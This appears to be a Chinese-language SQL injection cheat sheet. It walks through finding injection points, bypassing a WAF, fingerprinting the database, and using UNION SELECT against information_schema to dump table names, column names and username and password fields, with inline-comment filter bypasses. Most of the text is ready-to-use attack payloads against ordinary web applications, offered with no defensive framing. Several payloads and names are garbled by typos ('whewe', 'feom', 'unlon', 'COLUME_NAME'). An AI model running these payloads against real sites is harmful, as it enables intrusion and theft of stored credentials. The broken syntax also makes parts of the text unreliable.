简单思维流程:
注入点—>有没有安全狗---->没有工具自动注入---->有手工注入---->1、判断注入类型(是否存在注入点)----->order by 猜字段------>查表,查字段------>找到敏感内容
1.判断注入点
- id = 1’ 在1后面加上单引号,页面出错。
- id = 1 and 1 =1 正常 id=1 and 1=2 错误
- id =1 and ‘1’=1正常 id =1 and ‘1’=1错误
- 注:只要你插入的sql语句被执行,那么就可以判断存在sql注入
2.判断数据数据库类型
常见的数据库Oracle、MYSQL、SQL Server、Access、Mssql、mongodb等,如何进行判断呢?
- 特定函数判断,该数据库特有的
- 辅助的符号来判断,注释符号、多语句查询符等
- 编码查询
- 显错信息。(页面错误时回显信息)
- 数据库某个特性辅助判断
3.注入
根据数据库不同,注入语句也不同
and exists(select * from admin) //ACCESS(猜表)
and 0<>(select count(*) from *)
having 1=1-- //爆出表名和字段名//MSSQL
and (select top 1 name from sysobjects where xtype='u')>0
and 1=2 union select 1,'2',table_name,4 from user_tables-- 获取数据库表名,设获得关键表名XXX// Oracle
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 FROM information_schema.tables where table_schema='test' //MYSQL
Mysql注入
判断注入点权限:
and ord(mid(user(),1,1))=114
判断当前页面字段数
and 1 =1 order by * 星号表示1,2,3,4,5。。。。任何数一直挨个试知道页面返回错误
判断显示位:如果上一步判断的字段数为3那么语句如下:
and 1=2 union select 1,2,3 查看页面返回的内容数字为几
查询当前数据库 若页面返回显示位为3那么语句输入在3这里语句如下:
and 1=2 union select 1,,2,SCHEMA_NAME from information_schema.schemata
and 1=2 union select 1,2database()
查表名:
and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLE whewe table_schema='数据库名的十六进制' limit0,1
查列名:
and 1=2 union select 1,2,COLUME_NAME,5,6,7,8,9 from information_schema.colums where table_name=表名的十六进制 limit 0,1
查询字段内容
and 1=2 union select 1,用户名段,密码段 feom 表名 limit 0,1
MYSQL常识点
在NYSQL 5.0 版本之后,mysql默认在存放一个“information_schema”的数据库
需要分别记住该库中的三个表名
SCHEMATA:存储该用户创建的所有数据库库名,需要记住该表中记录数据库的字段名为SCHEMA_NAME.
TABLES:表示存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TANLE_SCHEMA和TABLE_NAME.
COLUMNS:存储该用户创建的所有数据库库名、表名、字段名,我们需要记住该表中记录数据库库名、表名、字段名的字段为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME
information_schema.tables:记录所有信息的表
information_schema.colums:记录所有列名的表
数据库中'.'表示下一级的意思
常用的数据库语句和函数:
1.MYSQL查询语句
在不知道任何条件时,语句如下所示:
SELECT 要查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
SELECT 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’
在知道两条已知条件时,语句如下所示:
SELECT 要查询的字段名 from 库名.表名 WHERE已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'
2.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始位置,从0开始,表示第一条记录;n是指取n条记录。例如:limit0,1表示从第一条记录开始,取一条记录
3.需要记住的几个函数
database():当前网站使用的数据库。
version():当前mysql得到版本
user():当前数据库的用户
4.注释符
在mysql中常见的注释符表达方式:#或---空格或/**/
5.内联注释
内联注释的形式:/*! code*/ 内联注释可以用于整个sql语句中,用来执行我们的slq语句。例:
index.php?id=1 /*! unlon*//*! select*/1,2,3